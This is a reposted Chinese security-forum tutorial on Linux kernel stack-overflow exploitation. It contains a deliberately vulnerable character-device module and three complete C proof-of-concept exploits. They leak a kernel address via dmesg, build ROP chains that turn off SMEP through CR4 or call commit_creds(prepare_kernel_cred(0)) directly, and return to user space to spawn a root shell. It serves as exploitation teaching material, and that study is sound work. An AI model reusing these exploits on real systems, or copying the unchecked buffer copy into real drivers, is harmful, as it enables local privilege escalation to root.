安全矩阵

用户名  找回密码
 立即注册
帖子
查看: 933|回复: 0

Kernel从0开始

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-19 20:45:54 | 显示全部楼层 |阅读模式
原文链接:Kernel从0开始

简介
先尝试下最简单的栈溢出,保护和未被保护的情况。
给出自己设计的栈溢出题目:
  1. #include <linux/module.h>
  2. #include <linux/version.h>
  3. #include <linux/kernel.h>
  4. #include <linux/types.h>
  5. #include <linux/kdev_t.h>
  6. #include <linux/fs.h>
  7. #include <linux/device.h>
  8. #include <linux/cdev.h>
  9. #include <asm/uaccess.h>
  10. #include <linux/slab.h>

  11. //设备驱动常用变量
  12. static char *buffer_var;
  13. static struct class *devClass; // Global variable for the device class
  14. static struct cdev cdev;
  15. static dev_t stack_dev_no;


  16. static ssize_t stack_read(struct file *filp, char __user *buf, size_t count,
  17.         loff_t *f_pos);

  18. static ssize_t stack_write(struct file *filp, const char __user *buf,
  19. size_t len, loff_t *f_pos);

  20. static long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);

  21. // static int stack_open(struct inode *i, struct file *f)
  22. // {
  23. //   printk(KERN_INFO "[i] Module vuln: open()\n");
  24. //   return 0;
  25. // }

  26. // static int stack_close(struct inode *i, struct file *f)
  27. // {
  28. //   printk(KERN_INFO "[i] Module vuln: close()\n");
  29. //   return 0;
  30. // }

  31. static struct file_operations stack_fops =
  32.         {
  33.                 .owner = THIS_MODULE,
  34.                 // .open = stack_open,
  35.                 // .release = stack_close,
  36.                 .write = stack_write,
  37.                 .read = stack_read
  38.         };

  39. // 设备驱动模块加载函数
  40. static int __init stack_init(void)
  41. {
  42.     buffer_var=kmalloc(100,GFP_DMA);
  43.     printk(KERN_INFO "[i] Module stack registered");
  44.     if (alloc_chrdev_region(&stack_dev_no, 0, 1, "stack") < 0)
  45.     {
  46.         return -1;
  47.     }
  48.     if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL)
  49.     {
  50.         unregister_chrdev_region(stack_dev_no, 1);
  51.         return -1;
  52.     }
  53.     if (device_create(devClass, NULL, stack_dev_no, NULL, "stack") == NULL)
  54.     {
  55.         printk(KERN_INFO "[i] Module stack error");
  56.         class_destroy(devClass);
  57.         unregister_chrdev_region(stack_dev_no, 1);
  58.         return -1;
  59.     }
  60.     cdev_init(&cdev, &stack_fops);
  61.     if (cdev_add(&cdev, stack_dev_no, 1) == -1)
  62.     {
  63.         device_destroy(devClass, stack_dev_no);
  64.         class_destroy(devClass);
  65.         unregister_chrdev_region(stack_dev_no, 1);
  66.         return -1;
  67.     }

  68.     printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n", MAJOR(stack_dev_no), MINOR(stack_dev_no));
  69.     return 0;

  70. }

  71. // 设备驱动模块卸载函数
  72. static void __exit stack_exit(void)
  73. {
  74.     // 释放占用的设备号
  75.     unregister_chrdev_region(stack_dev_no, 1);
  76.     cdev_del(&cdev);
  77. }


  78. // 读设备
  79. ssize_t stack_read(struct file *filp, char __user *buf, size_t count,
  80.         loff_t *f_pos)
  81. {
  82.     printk(KERN_INFO "Stack_read function" );
  83.     if(strlen(buffer_var)>0) {
  84.         printk(KERN_INFO "[i] Module vuln read: %s\n", buffer_var);
  85.         kfree(buffer_var);
  86.         buffer_var=kmalloc(100,GFP_DMA);
  87.         return 0;
  88.     } else {
  89.         return 1;
  90.     }
  91. }

  92. // 写设备
  93. ssize_t stack_write(struct file *filp, const char __user *buf,
  94. size_t len, loff_t *f_pos)
  95. {
  96.     printk(KERN_INFO "Stack_write function" );
  97.     char buffer[100]={0};
  98.     if (_copy_from_user(buffer, buf, len))
  99.         return -EFAULT;
  100.     buffer[len-1]='\0';
  101.     printk("[i] Module stack write: %s\n", buffer);
  102.     strncpy(buffer_var,buffer,len);
  103.     return len;
  104. }



  105. // ioctl函数命令控制
  106. long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
  107. {
  108.     switch (cmd) {
  109.         case 1:
  110.             break;
  111.         case 2:
  112.             break;
  113.         default:
  114.             // 不支持的命令
  115.             return -ENOTTY;
  116.     }
  117.     return 0;
  118. }


  119. module_init(stack_init);
  120. module_exit(stack_exit);

  121. MODULE_LICENSE("GPL");
  122. // MODULE_AUTHOR("blackndoor");
  123. // MODULE_DESCRIPTION("Module vuln overflow");
复制代码

▲寻找gadgetropper

ropper --file vmlinux --search "pop|ret"
这个比较慢,实在不推荐。
objdump

objdump -d vmlinux -M intel | grep -E 'ret|pop'
这个比较快,不过查出来的gadget可能是不连续的,需要仔细辨别一下,必要时还需要Gdb调试进入vmlinux中进行汇编查询。比如查出来的类似如下:

可以看到pop rax下并没有ret,但是依然查找出来了,其中pop rax和pop rbx不是连在一起的,用的时候注意辨别。
ROPgadget依然可以用,但有时候可能比较慢,可以先保存下来,然后再找:

ROPgadget --binary vmlinux | grep "pop rdx ; ret"
一键获取详见之前的项目中的getKernelROP命令,常用gadget,还是比较好用的。
PIG-007/kernelAll (github.com)
https://github.com/PIG-007/kernelAll
PIG-007/kernelAll (gitee.com)
https://gitee.com/Piggy007/kernelAll
Stack被保护
这里的被保护指的是开启了SMEP,类似于NX的栈保护,即内核无法执行用户空间的代码。
方法一:通过ROP来关闭掉smep保护,这样就可以进入内核之后启动用户空间我们自己构造的commit_creds(prepare_kernel_cred(0))来完成提权,之后再启一个shell即可获得提权之后的shell。
1、获取地址由于read函数不太有什么地址的读取,所以这里利用dmesg来获取地址。
  1. unsigned long findAddr() {
  2.     char line[512];
  3.     char string[] = "Freeing SMP alternatives memory";
  4.     char found[17];
  5.     unsigned long addr=0;

  6.     /* execute dmesg and place result in a file */
  7.     printf("[+] Excecute dmesg...\n");
  8.     system("dmesg > /tmp/dmesg");
  9.     /* find: Freeing SMP alternatives memory*/
  10.     printf("[+] Find usefull addr...\n");

  11.     FILE* file = fopen("/tmp/dmesg", "r");

  12.     while (fgets(line, sizeof(line), file)) {
  13.         if(strstr(line,string)) {
  14.             strncpy(found,line+53,16);
  15.             sscanf(found,"%p",(void **)&addr);
  16.             break;
  17.         }
  18.     }
  19.     fclose(file);

  20.     if(addr==0) {
  21.         printf("    dmesg error...\n");
  22.         exit(1);
  23.     }
  24.     return addr;
  25. }

  26. //main函数中
  27. unsigned long memOffset;
  28. memOffset = findAddr();
  29. unsigned long pop_rax_rbx_r12_rbp_ret = memOffset - 0xCB5B47;
  30. unsigned long movCr4Rax_pop_rbp = (unsigned long)memOffset-0x01020F1C;
  31. unsigned long getR = (unsigned long)getroot;
  32. unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
  33. unsigned long iretq = (unsigned long)memOffset-0x7AC289;
  34. unsigned long sh = (unsigned long)shell;
复制代码

dmesg是获取内核启动的日志相关信息,自己去尝试一下知道。

2、关闭SMEP
  1. unsigned char payload[300] = {0};
  2. unsigned char *p           = payload;

  3. /* pop rax;rbx;r12;rbp;ret;*/
  4. unsigned long poprax = (unsigned long)memOffset-0xCB5B47;
  5. memcpy(p,&poprax,8);
  6. printf("    pop rax      at 0x%lx\n", poprax);
  7. p+=8;
  8. memcpy(p,"\xf0\x06\x00\x00\x00\x00\x00\x00",8);   /* SMEP OFF rax*/
  9. p+=8;
  10. memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8);   /* rbx*/
  11. p+=8;
  12. memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8);   /* r12 */
  13. p+=8;
  14. memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* rbp */
  15. p+=8;

  16. /* mov cr4, rax;rbp;ret     */
  17. unsigned long movcr4 = (unsigned long)memOffset-0x01020F1C;
  18. memcpy(p,&movcr4,8);
  19. printf("    mov CR4, RAX at 0x%lx\n", movcr4);
  20. p+=8;
  21. memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* rbp */
  22. p+=8;
复制代码

3、提权
  1. /* function to get root id */
  2. void getroot (void)
  3. {
  4.   commit_creds(prepare_kernel_cred(0));
  5. }

  6. /* getroot                        */
  7. memcpy(p,&getR,8);
  8. p+=8;
复制代码

4、返回用户空间起Shell
  1. void shell(void) {
  2.     printf("[+] getuid() ...");
  3.     if(!getuid()) {
  4.         printf(" [root]\n[+] Enjoy your shell...\n");
  5.         system("/bin/sh");
  6.     } else {
  7.         printf("[+] not root\n[+] failed !!!\n");
  8.     }
  9. }
复制代码

  1. printf("    swapgs       at 0x%lx\n", swapgs);
  2. memcpy(p,&swapgs,8);
  3. p+=8;

  4. /* iretq                          */
  5. printf("    iretq        at 0x%lx\n", iretq);
  6. memcpy(p,&iretq,8);
  7. p+=8;

  8. /* shell                          */
  9. memcpy(p,&sh,8);
  10. p+=8;
复制代码

5、设置寄存器保存和恢复进入内核空间ROP链前需要保存环境,从内核环境回到用户空间起shell之前需要恢复环境。
(1)保存环境
  1. unsigned long user_cs;
  2. unsigned long user_ss;
  3. unsigned long user_rflags;

  4. static void save_state() {
  5.   asm(
  6.   "movq %%cs, %0\n"
  7.   "movq %%ss, %1\n"
  8.   "pushfq\n"
  9.   "popq %2\n"
  10.   : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"     );
  11. }
复制代码

这个save_state函数在复制数据通过stack_write函数栈溢出进行ROP之前需要调用保存用户空间的环境。​​
(2)恢复环境
  1. /* user_cs                        */
  2. memcpy(p,&user_cs,8);
  3. p+=8;

  4. /* user_rflags                    */
  5. memcpy(p,&user_rflags,8);
  6. p+=8;

  7. /*stack of userspace                 */        
  8. register unsigned long rsp asm("rsp");
  9. unsigned long sp = (unsigned long)rsp;
  10. memcpy(p,&sp,8);
  11. p+=8;

  12. /* user_ss                        */
  13. memcpy(p,&user_ss,8);
复制代码

这个都是放在ROP链中,放在shell之后。poc
  1. #include <sys/types.h>
  2. #include <sys/stat.h>
  3. #include <fcntl.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <unistd.h>
  8. #include <errno.h>
  9. #include <sys/mman.h>
  10. #include <assert.h>


  11. struct cred;
  12. struct task_struct;
  13. typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
  14. typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
  15. prepare_kernel_cred_t   prepare_kernel_cred;
  16. commit_creds_t    commit_creds;

  17. unsigned long user_cs;
  18. unsigned long user_ss;
  19. unsigned long user_rflags;
  20. unsigned long stack;


  21. unsigned long findAddr();
  22. static void save_state();
  23. void getroot (void);
  24. void shell(void);


  25. int main(int argc, char *argv[])
  26. {
  27.     int fd;
  28.     unsigned char payload[300] = {0};
  29.     unsigned char *p           = payload;
  30.     unsigned long memOffset;



  31.     memOffset = findAddr();
  32.     unsigned long pop_rax_rbx_r12_rbp_ret = memOffset - 0xCB5B47;
  33.     unsigned long movCr4Rax_pop_rbp = (unsigned long)memOffset-0x01020F1C;
  34.     unsigned long getR = (unsigned long)getroot;
  35.     unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
  36.     unsigned long iretq = (unsigned long)memOffset-0x7AC289;
  37.     unsigned long sh = (unsigned long)shell;

  38.     printf("    addr[0x%llx]\n", memOffset);

  39.     /* set value for commit_creds and prepare_kernel_cred */
  40.     commit_creds        = (commit_creds_t)(memOffset - 0xfbf6a0);
  41.     prepare_kernel_cred = (prepare_kernel_cred_t)(memOffset - 0xfbf2e0);


  42.     /* open fd on /dev/vuln                             */
  43.     printf("[+] Open vuln device...\n");
  44.     if ((fd = open("/dev/stack", O_RDWR)) < 0) {
  45.         printf("    Can't open device file: /dev/stack\n");
  46.         exit(1);
  47.     }


  48.     /* payload                          */
  49.     printf("[+] Construct the payload...\n");
  50.     save_state();
  51.     /* offset before RIP                    */
  52.     memcpy(p,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",116);
  53.     p+=116;

  54.     memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* for rbp */
  55.     p+=8;

  56.     /* pop rax;rbx;r12;rbp;ret                    */
  57.     memcpy(p,&pop_rax_rbx_r12_rbp_ret,8);
  58.     printf("    pop rax      at 0x%lx\n", pop_rax_rbx_r12_rbp_ret);
  59.     p+=8;
  60.     memcpy(p,"\xf0\x06\x00\x00\x00\x00\x00\x00",8);   /* SMEP OFF */
  61.     p+=8;
  62.     memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8);   /* rbx*/
  63.     p+=8;
  64.     memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8);   /* r12 */
  65.     p+=8;
  66.     memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* rbp */
  67.     p+=8;

  68.     /* mov cr4, rax;rbp;ret     */
  69.     memcpy(p,&movCr4Rax_pop_rbp,8);
  70.     printf("    mov CR4, RAX at 0x%lx\n", movCr4Rax_pop_rbp);
  71.     p+=8;
  72.     memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* rbp */
  73.     p+=8;

  74.     /* getroot                        */
  75.     memcpy(p,&getR,8);
  76.     p+=8;

  77.     /* swapgs;ret           */
  78.     printf("    swapgs       at 0x%lx\n", swapgs);
  79.     memcpy(p,&swapgs,8);
  80.     p+=8;

  81.     /* iretq                          */
  82.     printf("    iretq        at 0x%lx\n", iretq);
  83.     memcpy(p,&iretq,8);
  84.     p+=8;


  85.     /*
  86.     the stack should look like this after an iretq call
  87.       RIP
  88.       CS
  89.       EFLAGS
  90.       RSP
  91.       SS
  92.     */


  93.     /* shell                          */
  94.     memcpy(p,&sh,8);
  95.     p+=8;

  96.     /* user_cs                        */
  97.     memcpy(p,&user_cs,8);
  98.     p+=8;
  99.     /* user_rflags                    */
  100.     memcpy(p,&user_rflags,8);
  101.     p+=8;
  102.     /*stack of userspace                 */        
  103.     register unsigned long rsp asm("rsp");
  104.     unsigned long sp = (unsigned long)rsp;
  105.     memcpy(p,&sp,8);
  106.     p+=8;
  107.     /* user_ss                        */
  108.     memcpy(p,&user_ss,8);

  109.     /* trig the vuln                  */
  110.     printf("[+] Trig the vulnerablity...\n");
  111.     write(fd, payload, 300);


  112.     return 0;

  113. }





  114. unsigned long findAddr() {
  115.     char line[512];
  116.     char string[] = "Freeing SMP alternatives memory";
  117.     char found[17];
  118.     unsigned long addr=0;

  119.     /* execute dmesg and place result in a file */
  120.     printf("[+] Excecute dmesg...\n");
  121.     system("dmesg > /tmp/dmesg");

  122.     /* find: Freeing SMP alternatives memory    */
  123.     printf("[+] Find usefull addr...\n");

  124.     FILE* file = fopen("/tmp/dmesg", "r");


  125.     while (fgets(line, sizeof(line), file)) {
  126.         if(strstr(line,string)) {
  127.             strncpy(found,line+53,16);
  128.             sscanf(found,"%p",(void **)&addr);
  129.             break;
  130.         }
  131.     }
  132.     fclose(file);

  133.     if(addr==0) {
  134.         printf("    dmesg error...\n");
  135.         exit(1);
  136.     }

  137.     return addr;
  138. }

  139. static void save_state() {
  140.     asm(
  141.         "movq %%cs, %0\n"
  142.         "movq %%ss, %1\n"
  143.         "pushfq\n"
  144.         "popq %2\n"
  145.         : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"     );
  146. }


  147. void shell(void) {
  148.     printf("[+] getuid() ...");
  149.     if(!getuid()) {
  150.         printf(" [root]\n[+] Enjoy your shell...\n");
  151.         system("/bin/sh");
  152.     } else {
  153.         printf("[+] not root\n[+] failed !!!\n");
  154.     }
  155. }

  156. /* function to get root id */
  157. void getroot (void)
  158. {
  159.     commit_creds(prepare_kernel_cred(0));
  160. }
复制代码

方法二:直接在内核空间利用地址和gadget构造commit_creds(prepare_kernel_cred(0))来完成提权,之后返回用户空间起shell。
1、ROP链
  1. pop rdi;ret
  2. 0
  3. prepare_kernel_cred_k
  4. pop rdx;rbx;rbp;ret
  5. pop rbp;ret
  6. 0
  7. rbp_data
  8. mov rdi,rax;call rdx
  9. commit_creds_k
  10. swapgs;ret
  11. iretq
复制代码

之后就是返回用户空间起shell了。2、解析执行流程▲先是调用prepare_kernel_cred_k(0),然后通过将pop rbp;ret赋值给rdx,之后mov rdi,rax,然后call rdx,即调用pop rbp;ret,之后ret即可回到commit_creds_k。
这里较为麻烦的原因是因为mov rdi,rax;call rdx这个语句,需要赋值rdi才能进行commit_creds函数的执行,即将prepare_kernel_cred_k(0)返回值给commit_creds函数。

赋值。

之后又因为存在call这个语句,所以多了pop rbp;ret来将栈平衡掉,从而能够直接ret到commit_creds。

同样ha1vk师傅的利用jmp就比较简单,不过具体看gadget,有时候很难找。
poc
  1. #include <sys/types.h>
  2. #include <sys/stat.h>
  3. #include <fcntl.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <unistd.h>
  8. #include <errno.h>
  9. #include <sys/mman.h>
  10. #include <assert.h>



  11. unsigned long user_cs;
  12. unsigned long user_ss;
  13. unsigned long user_rflags;
  14. unsigned long stack;


  15. unsigned long findAddr();
  16. static void save_state();
  17. void shell(void);


  18. int main(int argc, char *argv[])
  19. {
  20.     int fd;
  21.     unsigned char payload[300] = {0};
  22.     unsigned char *p           = payload;
  23.     unsigned long memOffset;



  24.     memOffset = findAddr();
  25.     unsigned long pop_rdi_ret = memOffset - 0xD17AF3;
  26.     unsigned long pop_rdx_rbx_rbp_ret = (unsigned long)memOffset-0xCB43CD;
  27.     unsigned long pop_rbp_ret = memOffset - 0xCB43CB;
  28.     unsigned long movRdiRax_call_rdx = (unsigned long)memOffset-0xF8F3AA;
  29.     unsigned long prepare_kernel_cred_k = (unsigned long)memOffset-0xFBF2E0;
  30.     unsigned long commit_creds_k = (unsigned long)memOffset-0xFBF6A0;
  31.     unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
  32.     unsigned long iretq = (unsigned long)memOffset-0x7AC289;
  33.     unsigned long sh = (unsigned long)shell;




  34.     printf("    addr[0x%llx]\n", memOffset);

  35.     /* open fd on /dev/vuln                             */
  36.     printf("[+] Open vuln device...\n");
  37.     if ((fd = open("/dev/stack", O_RDWR)) < 0) {
  38.         printf("    Can't open device file: /dev/stack\n");
  39.         exit(1);
  40.     }


  41.     /* payload                          */
  42.     printf("[+] Construct the payload...\n");
  43.     save_state();
  44.     /* offset before RIP                    */
  45.     memcpy(p,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",116);
  46.     p+=116;

  47.     memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* for rbp */
  48.     p+=8;


  49.     /*
  50. pop rdi;ret      ffffffff8131750d
  51. 0
  52. prepare_kernel_cred_k_addr  
  53. pop rdx;rbx;rbp;ret  0xffffffff8137ac33
  54. commit_creds_k_addr
  55. mov rdi,rax;call rdx     0xffffffff8109fc56
  56. swags;    ....
  57. pop rbp;ret; 0xffffffff8137ac35
  58. 0xdeadbeef
  59. iretq; ....
  60. shell;
  61. CS
  62. EFLAGS
  63. RSP
  64. SS
  65. */


  66.     /* pop rdi;ret                    */
  67.     printf("    pop rdi      at 0x%lx\n", pop_rdi_ret);
  68.     memcpy(p,&pop_rdi_ret,8);
  69.     p+=8;
  70.     memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8);   /* rbx*/
  71.     p+=8;

  72.     //prepare_kernel_cred_k
  73.     printf("    prepare_kernel_cred_k_addr at 0x%lx\n", prepare_kernel_cred_k);
  74.     memcpy(p,&prepare_kernel_cred_k,8);
  75.     p+=8;

  76.     //pop rdx;rbx;rbp;ret
  77.     printf("    pop_rdx_rbx_rbp_ret at 0x%lx\n", pop_rdx_rbx_rbp_ret);
  78.     memcpy(p,&pop_rdx_rbx_rbp_ret,8);
  79.     p+=8;


  80.     //pop rbp;ret
  81.     printf("    pop_rbp_ret at 0x%lx\n", pop_rbp_ret);
  82.     memcpy(p,&pop_rbp_ret,8);
  83.     p+=8;
  84.     memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); //rbx
  85.     p+=8;
  86.     memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); //rbp
  87.     p+=8;



  88.     //mov rdi,rax;call rdx
  89.     printf("    mov rdi,rax;call_rdx at 0x%lx\n", movRdiRax_call_rdx);
  90.     memcpy(p,&movRdiRax_call_rdx,8);
  91.     p+=8;

  92.     //commit_creds_k
  93.     printf("    commit_creds_k at 0x%lx\n", commit_creds_k);
  94.     memcpy(p,&commit_creds_k,8);
  95.     p+=8;

  96.     /* swapgs;ret           */
  97.     printf("    swapgs       at 0x%lx\n", swapgs);
  98.     memcpy(p,&swapgs,8);
  99.     p+=8;

  100.     /* iretq                          */
  101.     printf("    iretq        at 0x%lx\n", iretq);
  102.     memcpy(p,&iretq,8);
  103.     p+=8;


  104.     /*
  105.     the stack should look like this after an iretq call
  106.       RIP
  107.       CS
  108.       EFLAGS
  109.       RSP
  110.       SS
  111.     */


  112.     /* shell                          */
  113.     memcpy(p,&sh,8);
  114.     p+=8;

  115.     /* user_cs                        */
  116.     memcpy(p,&user_cs,8);
  117.     p+=8;
  118.     /* user_rflags                    */
  119.     memcpy(p,&user_rflags,8);
  120.     p+=8;
  121.     /*stack of userspace                 */        
  122.     register unsigned long rsp asm("rsp");
  123.     unsigned long sp = (unsigned long)rsp;
  124.     memcpy(p,&sp,8);
  125.     p+=8;
  126.     /* user_ss                        */
  127.     memcpy(p,&user_ss,8);

  128.     /* trig the vuln                  */
  129.     printf("[+] Trig the vulnerablity...\n");
  130.     write(fd, payload, 300);


  131.     return 0;

  132. }





  133. unsigned long findAddr() {
  134.     char line[512];
  135.     char string[] = "Freeing SMP alternatives memory";
  136.     char found[17];
  137.     unsigned long addr=0;

  138.     /* execute dmesg and place result in a file */
  139.     printf("[+] Excecute dmesg...\n");
  140.     system("dmesg > /tmp/dmesg");

  141.     /* find: Freeing SMP alternatives memory    */
  142.     printf("[+] Find usefull addr...\n");

  143.     FILE* file = fopen("/tmp/dmesg", "r");


  144.     while (fgets(line, sizeof(line), file)) {
  145.         if(strstr(line,string)) {
  146.             strncpy(found,line+53,16);
  147.             sscanf(found,"%p",(void **)&addr);
  148.             break;
  149.         }
  150.     }
  151.     fclose(file);

  152.     if(addr==0) {
  153.         printf("    dmesg error...\n");
  154.         exit(1);
  155.     }

  156.     return addr;
  157. }

  158. static void save_state() {
  159.     asm(
  160.         "movq %%cs, %0\n"
  161.         "movq %%ss, %1\n"
  162.         "pushfq\n"
  163.         "popq %2\n"
  164.         : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"     );
  165. }

  166. void shell(void) {
  167.     printf("[+] getuid() ...");
  168.     if(!getuid()) {
  169.         printf(" [root]\n[+] Enjoy your shell...\n");
  170.         system("/bin/sh");
  171.     } else {
  172.         printf("[+] not root\n[+] failed !!!\n");
  173.     }
  174. }
复制代码

(15条消息) linux kernel pwn学习之ROP_seaaseesa的博客-CSDN博客https://blog.csdn.net/seaaseesa/ ... 1018.2226.3001.4450​​
Stack未被保护
解析这个直接调用用户空间构造的commit_creds(prepare_kernel_cred(0))提权,然后直接原地起shell即可。相当于省去关闭smep保护的那段ROP链,直接getroot即可。
poc
  1. #include <sys/types.h>
  2. #include <sys/stat.h>
  3. #include <fcntl.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <unistd.h>
  8. #include <errno.h>
  9. #include <sys/mman.h>
  10. #include <assert.h>


  11. struct cred;
  12. struct task_struct;
  13. typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
  14. typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
  15. prepare_kernel_cred_t   prepare_kernel_cred;
  16. commit_creds_t    commit_creds;

  17. unsigned long user_cs;
  18. unsigned long user_ss;
  19. unsigned long user_rflags;
  20. unsigned long stack;


  21. unsigned long findAddr();
  22. static void save_state();
  23. void getroot (void);
  24. void shell(void);


  25. int main(int argc, char *argv[])
  26. {
  27.     int fd;
  28.     unsigned char payload[300] = {0};
  29.     unsigned char *p           = payload;
  30.     unsigned long memOffset;



  31.     memOffset = findAddr();
  32.     unsigned long pop_rax_rbx_r12_rbp_ret = memOffset - 0xCB5B47;
  33.     unsigned long movCr4Rax_pop_rbp = (unsigned long)memOffset-0x01020F1C;
  34.     unsigned long getR = (unsigned long)getroot;
  35.     unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
  36.     unsigned long iretq = (unsigned long)memOffset-0x7AC289;
  37.     unsigned long sh = (unsigned long)shell;




  38.     printf("    addr[0x%llx]\n", memOffset);

  39.     /* set value for commit_creds and prepare_kernel_cred */
  40.     commit_creds        = (commit_creds_t)(memOffset - 0xfbf6a0);
  41.     prepare_kernel_cred = (prepare_kernel_cred_t)(memOffset - 0xfbf2e0);


  42.     /* open fd on /dev/vuln                             */
  43.     printf("[+] Open vuln device...\n");
  44.     if ((fd = open("/dev/stack", O_RDWR)) < 0) {
  45.         printf("    Can't open device file: /dev/stack\n");
  46.         exit(1);
  47.     }


  48.     /* payload                          */
  49.     printf("[+] Construct the payload...\n");
  50.     save_state();
  51.     /* offset before RIP                    */
  52.     memcpy(p,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",116);
  53.     p+=116;

  54.     memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* for rbp */
  55.     p+=8;


  56.     /* getroot                        */
  57.     memcpy(p,&getR,8);
  58.     p+=8;

  59.     /* swapgs;ret           */
  60.     printf("    swapgs       at 0x%lx\n", swapgs);
  61.     memcpy(p,&swapgs,8);
  62.     p+=8;

  63.     /* iretq                          */
  64.     printf("    iretq        at 0x%lx\n", iretq);
  65.     memcpy(p,&iretq,8);
  66.     p+=8;


  67.     /*
  68.     the stack should look like this after an iretq call
  69.       RIP
  70.       CS
  71.       EFLAGS
  72.       RSP
  73.       SS
  74.     */


  75.     /* shell                          */
  76.     memcpy(p,&sh,8);
  77.     p+=8;



  78.     /* user_cs                        */
  79.     memcpy(p,&user_cs,8);
  80.     p+=8;
  81.     /* user_rflags                    */
  82.     memcpy(p,&user_rflags,8);
  83.     p+=8;
  84.     /*stack of userspace                 */        
  85.     register unsigned long rsp asm("rsp");
  86.     unsigned long sp = (unsigned long)rsp;
  87.     memcpy(p,&sp,8);
  88.     p+=8;
  89.     /* user_ss                        */
  90.     memcpy(p,&user_ss,8);

  91.     /* trig the vuln                  */
  92.     printf("[+] Trig the vulnerablity...\n");
  93.     write(fd, payload, 300);


  94.     return 0;

  95. }





  96. unsigned long findAddr() {
  97.     char line[512];
  98.     char string[] = "Freeing SMP alternatives memory";
  99.     char found[17];
  100.     unsigned long addr=0;

  101.     /* execute dmesg and place result in a file */
  102.     printf("[+] Excecute dmesg...\n");
  103.     system("dmesg > /tmp/dmesg");

  104.     /* find: Freeing SMP alternatives memory    */
  105.     printf("[+] Find usefull addr...\n");

  106.     FILE* file = fopen("/tmp/dmesg", "r");


  107.     while (fgets(line, sizeof(line), file)) {
  108.         if(strstr(line,string)) {
  109.             strncpy(found,line+53,16);
  110.             sscanf(found,"%p",(void **)&addr);
  111.             break;
  112.         }
  113.     }
  114.     fclose(file);

  115.     if(addr==0) {
  116.         printf("    dmesg error...\n");
  117.         exit(1);
  118.     }

  119.     return addr;
  120. }

  121. static void save_state() {
  122.     asm(
  123.         "movq %%cs, %0\n"
  124.         "movq %%ss, %1\n"
  125.         "pushfq\n"
  126.         "popq %2\n"
  127.         : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"     );
  128. }

  129. void shell(void) {
  130.     printf("[+] getuid() ...");
  131.     if(!getuid()) {
  132.         printf(" [root]\n[+] Enjoy your shell...\n");
  133.         system("/bin/sh");
  134.     } else {
  135.         printf("[+] not root\n[+] failed !!!\n");
  136.     }
  137. }

  138. /* function to get root id */
  139. void getroot (void)
  140. {
  141.     commit_creds(prepare_kernel_cred(0));
  142. }
复制代码

▲这里如果加了SMEP保护,那么就会出现下列的错误:

unable to execute userspace code (SMEP?) (uid: 1000)




回复

举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-30 03:36 , Processed in 0.031490 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表